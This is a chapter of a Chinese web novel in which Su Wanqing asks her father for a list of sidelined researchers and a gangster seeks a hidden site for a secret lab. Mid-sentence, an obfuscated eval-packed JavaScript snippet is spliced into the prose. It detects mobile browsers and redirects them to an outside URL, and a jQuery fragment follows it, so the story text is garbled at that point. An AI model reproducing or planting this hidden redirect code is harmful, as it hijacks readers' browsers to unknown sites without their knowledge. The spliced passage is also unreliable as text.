李毅离开后,五星级酒店的豪华总统套房内,陷入了一片极致的宁静。
窗外,是鹏城这座不夜之城流光溢彩的璀璨灯火,与室内柔和静谧的氛围形成了鲜明的对比。
苏晚晴独自一人站在巨大的落地窗前,手中还残留着李毅递过那个牛皮纸信封时的温度。
她低头,看着桌上那个厚厚的、装着整整二十万现金的信封,感受到的却不是金钱的灼热,而是一种足以压垮任何普通人肩膀的、沉甸甸的信任。
这笔钱,是“昆仑计划”的第一块砖。
而李毅,将砌墙的权力,毫不犹豫地交到了她的手上。
她深吸一口气,那股混杂着高级香薰和淡淡茶香的气息,非但没能让她放松,反而让她的心脏不受控制地剧烈跳动起来。
眼中的最后一丝迷茫,被一抹前所未有的、如同淬火精钢般的坚定所彻底取代。
她知道,从今晚起,自己不再是李毅身边那个提供背景、偶尔出谋划策的旁观者。
她是他并肩作战的棋手。
夜深人静,苏晚晴没有丝毫睡意。
她走到书桌前,拿起那部对她而言意义非凡的大哥大,指尖在冰冷的按键上空悬停了许久。
她没有拨通那个早已烂熟于心、直通京城权力核心的爷爷的号码。
她很清楚,那样太过突兀,也太过刻意,像一个不懂事的孩子在向长辈伸手要糖。
那不是李毅想要的,更不是她想成为的样子。
最终,她的手指稳稳地落下,拨通了另一个号码她父亲的。
电话接通,那头传来一个沉稳而威严的中年男人声音:“晴晴,这么晚了,有事?”
“爸,没打扰您休息吧?”苏晚晴的声音瞬间变得清脆而乖巧,但那双清澈的眸子里,却闪烁着与年龄不符的冷静与理智。
“说吧。”
“是这样,”苏晚晴没有提李毅一个字,而是用一种冷静而专业的、仿佛在进行学术探讨的口吻,不紧不慢地说道,“我准备写一篇关于‘国内科研人才体制内流失与埋没现象’的毕业论文,需要一些真实案例做支撑。”
她顿了顿,在那片意味深长的沉默中,抛出了那个早已准备好的、淬了剧毒的诱饵。
“您能不能通过部里的关系,帮我筛选一份名单?就是那些……在八十年代的各大重点科研项目中,才华出众,但后来因为项目下马或者人事变动,而被边缘化的那些工程师和学者。”
这个请求,天衣无缝。
它完美地将李毅那充满了野心的战略目标,包装在了一个名校高材生进行学术研究的合理框架之下,既合情合理,又滴水不漏,充分显示了她那远超同龄人的高情商和**智慧。
……
与此同时,华强北后街,一家灯光昏暗、毫不起眼的潮汕茶馆内,空气中弥漫着浓郁的炭火和顶级单枞茶混合的独特香气。
这里是三教九流的消息集散地,也是华强北地下世界的“交易所”。
地头蛇彪哥没有像无头苍蝇一样满街乱转。
他脱去了那身嚣张的金链子和花衬衫,换上了一套最普通的灰色夹克,毕恭毕敬地为茶馆那位眯着眼、看起来像个普通邻家老伯的“老叔”,亲手泡上了一壶最顶级的凤凰单枞。
茶香四溢,两人谁也没有先开口。
直到三巡茶过,彪哥才压低了声音,用一种只有圈内人才能听懂的暗语,缓缓开口。
“老叔,想找个地方。”
老叔眼皮都没抬一下,只是慢悠悠地品了口茶。
彪哥继续道:“要‘电老虎’,能‘**’,还不喜欢‘串门’的。”
“电老虎”,指的是需要独立、大功率的工业供电线路。
“**”,意味着地方要足够偏僻隐蔽,不能引人注意。
“不喜欢串门”,则是要求绝对的清静,不能有乱七八糟的邻居和闲人打扰。
这三个条件,精准地概括了一个顶级秘密实验室对场地的所有苛刻要求。
老叔端着茶杯的手,微微一顿。
他抬起那双看似浑浊、实则精光内敛的眼睛,深深地看了彪哥一眼。
片刻后,他放下茶杯,伸出干瘦的食指,在桌上沾了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967533|190481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点滚烫的茶水,缓缓地、一笔一划地,画出了一个圈。
随即,在圈的中央,写下了三个字。
陈鬼手。
彪哥的瞳孔,猛地一缩!
“关外,废弃的国营703电子厂。”老叔的声音沙哑,像两块老树皮在摩擦,“地方够大,电力线路是当年给部队留的,军工级的,养一万只‘电老虎’都够用。最关键的是,那地方邪门,没人敢去。”
他顿了顿,将杯中最后一口茶一饮而尽,补充道:“不过,那厂子现在被一个叫陈鬼手的老头子占着。那老家伙性情乖张,油盐不进,是块硬骨头。”
……
酒店房间内,苏晚晴的电话那头,陷入了长达半分钟的、令人窒息的死寂。
久经宦海的父亲,瞬间就听出了女儿那番话背后,隐藏着的、真正石破天惊的弦外之音。
他没有点破,却问出了一个更深、也更致命的问题。
“晴晴,你这篇论文,最终的‘论点’,是要证明什么?”
苏晚晴的心脏猛地一紧!
她知道,真正的考验来了!
她深吸一口气,那清冷的声音里,带上了一股与李毅如出一辙的、不容置疑的坚定!
“证明他们不是废才,而是被放错地方的宝藏。”
“只要给他们一个合适的机会,一个不受束缚的舞台,他们就能绽放出比任何人都耀眼的光芒!”
电话那头,传来一声长长的、充满了复杂情绪的叹息。
随即,是她父亲前所未有严肃的声音。
“名单,我可以帮你弄到。”
“你爷爷前几天还提起过那个叫李毅的小伙子。他说,‘时代洪流里,投机者众,掌舵者寡’。”
苏晚晴下意识地屏住了呼吸。
“这份名单,既是你的论文素材,也是家族给他的第一份考卷。”
“我们想看看,他究竟是想用这些‘宝藏’来点缀自己的金库……”
电话那头的声音顿了顿,变得重逾千斤。
“……还是想把他们,重新熔铸成国之重器。”